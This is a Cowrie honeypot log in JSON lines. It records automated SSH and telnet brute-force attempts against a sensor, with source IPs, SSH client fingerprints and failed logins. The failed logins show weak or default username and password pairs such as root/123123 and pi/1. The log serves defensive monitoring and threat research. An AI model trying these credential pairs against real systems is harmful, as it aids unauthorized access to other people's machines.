{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:35.695402Z","src_ip":"8.219.200.1","session":"57d204012522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.30333685874939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:36.899702Z","src_ip":"102.37.220.188","session":"f6dc3b892974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:36.941603Z","src_ip":"8.219.200.1","session":"57d204012522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44700,"dst_ip":"10.17.0.5","dst_port":22,"session":"615a0ac471c0","protocol":"ssh","message":"New connection: 45.156.87.147:44700 (10.17.0.5:22) [session: 615a0ac471c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:39.479208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:39.549738Z","src_ip":"45.156.87.147","session":"615a0ac471c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:39.566277Z","src_ip":"45.156.87.147","session":"615a0ac471c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo","message":"login attempt [odoo14/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:39.879870Z","src_ip":"45.156.87.147","session":"615a0ac471c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:40.967153Z","src_ip":"45.156.87.147","session":"615a0ac471c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":44456,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a6be26b4a81","protocol":"ssh","message":"New connection: 8.219.200.1:44456 (10.17.0.5:22) [session: 4a6be26b4a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:44.269141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:45.099261Z","src_ip":"8.219.200.1","session":"4a6be26b4a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:45.191139Z","src_ip":"8.219.200.1","session":"4a6be26b4a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44712,"dst_ip":"10.17.0.5","dst_port":22,"session":"da47cec3342f","protocol":"ssh","message":"New connection: 45.156.87.147:44712 (10.17.0.5:22) [session: da47cec3342f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:45.219826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:45.224705Z","src_ip":"45.156.87.147","session":"da47cec3342f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:45.309412Z","src_ip":"45.156.87.147","session":"da47cec3342f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"p@ssw0rd","message":"login attempt [ftpuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:45.559339Z","src_ip":"45.156.87.147","session":"da47cec3342f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:46.647761Z","src_ip":"45.156.87.147","session":"da47cec3342f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47070,"dst_ip":"159.203.135.109","dst_port":23,"session":"009776771b62","protocol":"telnet","message":"New connection: 128.199.8.54:47070 (159.203.135.109:23) [session: 009776771b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:49.562004Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35538,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b1b70bd9249","protocol":"ssh","message":"New connection: 45.156.87.147:35538 (10.17.0.5:22) [session: 0b1b70bd9249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:50.885773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:50.889354Z","src_ip":"45.156.87.147","session":"0b1b70bd9249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:50.970217Z","src_ip":"45.156.87.147","session":"0b1b70bd9249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:51.221493Z","src_ip":"45.156.87.147","session":"0b1b70bd9249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:52.305350Z","src_ip":"45.156.87.147","session":"0b1b70bd9249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35550,"dst_ip":"10.17.0.5","dst_port":22,"session":"65bd9b648b69","protocol":"ssh","message":"New connection: 45.156.87.147:35550 (10.17.0.5:22) [session: 65bd9b648b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:56.607616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:56.614094Z","src_ip":"45.156.87.147","session":"65bd9b648b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:56.695804Z","src_ip":"45.156.87.147","session":"65bd9b648b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:56.949634Z","src_ip":"45.156.87.147","session":"65bd9b648b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:58.037730Z","src_ip":"45.156.87.147","session":"65bd9b648b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49614,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb06a59d4654","protocol":"telnet","message":"New connection: 128.199.8.54:49614 (159.203.135.109:23) [session: eb06a59d4654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:00.813700Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55232,"dst_ip":"10.17.0.5","dst_port":22,"session":"820e11bbd26c","protocol":"ssh","message":"New connection: 45.156.87.147:55232 (10.17.0.5:22) [session: 820e11bbd26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.302246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.309674Z","src_ip":"45.156.87.147","session":"820e11bbd26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.403312Z","src_ip":"45.156.87.147","session":"820e11bbd26c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":56270,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e163330adf4","protocol":"ssh","message":"New connection: 103.189.235.114:56270 (159.203.135.109:22) [session: 8e163330adf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.562903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.567671Z","src_ip":"103.189.235.114","session":"8e163330adf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.659782Z","src_ip":"45.156.87.147","session":"820e11bbd26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:02.810327Z","src_ip":"103.189.235.114","session":"8e163330adf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:03.743154Z","src_ip":"45.156.87.147","session":"820e11bbd26c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awards","password":"awards123","message":"login attempt [awards/awards123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:03.821646Z","src_ip":"103.189.235.114","session":"8e163330adf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:05.069180Z","src_ip":"103.189.235.114","session":"8e163330adf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:05.569231Z","src_ip":"8.219.200.1","session":"4a6be26b4a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.5","message":"Connection lost after 22.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:06.808598Z","src_ip":"8.219.200.1","session":"4a6be26b4a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55248,"dst_ip":"10.17.0.5","dst_port":22,"session":"e684c03d473e","protocol":"ssh","message":"New connection: 45.156.87.147:55248 (10.17.0.5:22) [session: e684c03d473e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:08.083986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:08.088912Z","src_ip":"45.156.87.147","session":"e684c03d473e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:08.172348Z","src_ip":"45.156.87.147","session":"e684c03d473e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:08.426178Z","src_ip":"45.156.87.147","session":"e684c03d473e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:09.512836Z","src_ip":"45.156.87.147","session":"e684c03d473e","protocol":"ssh"}
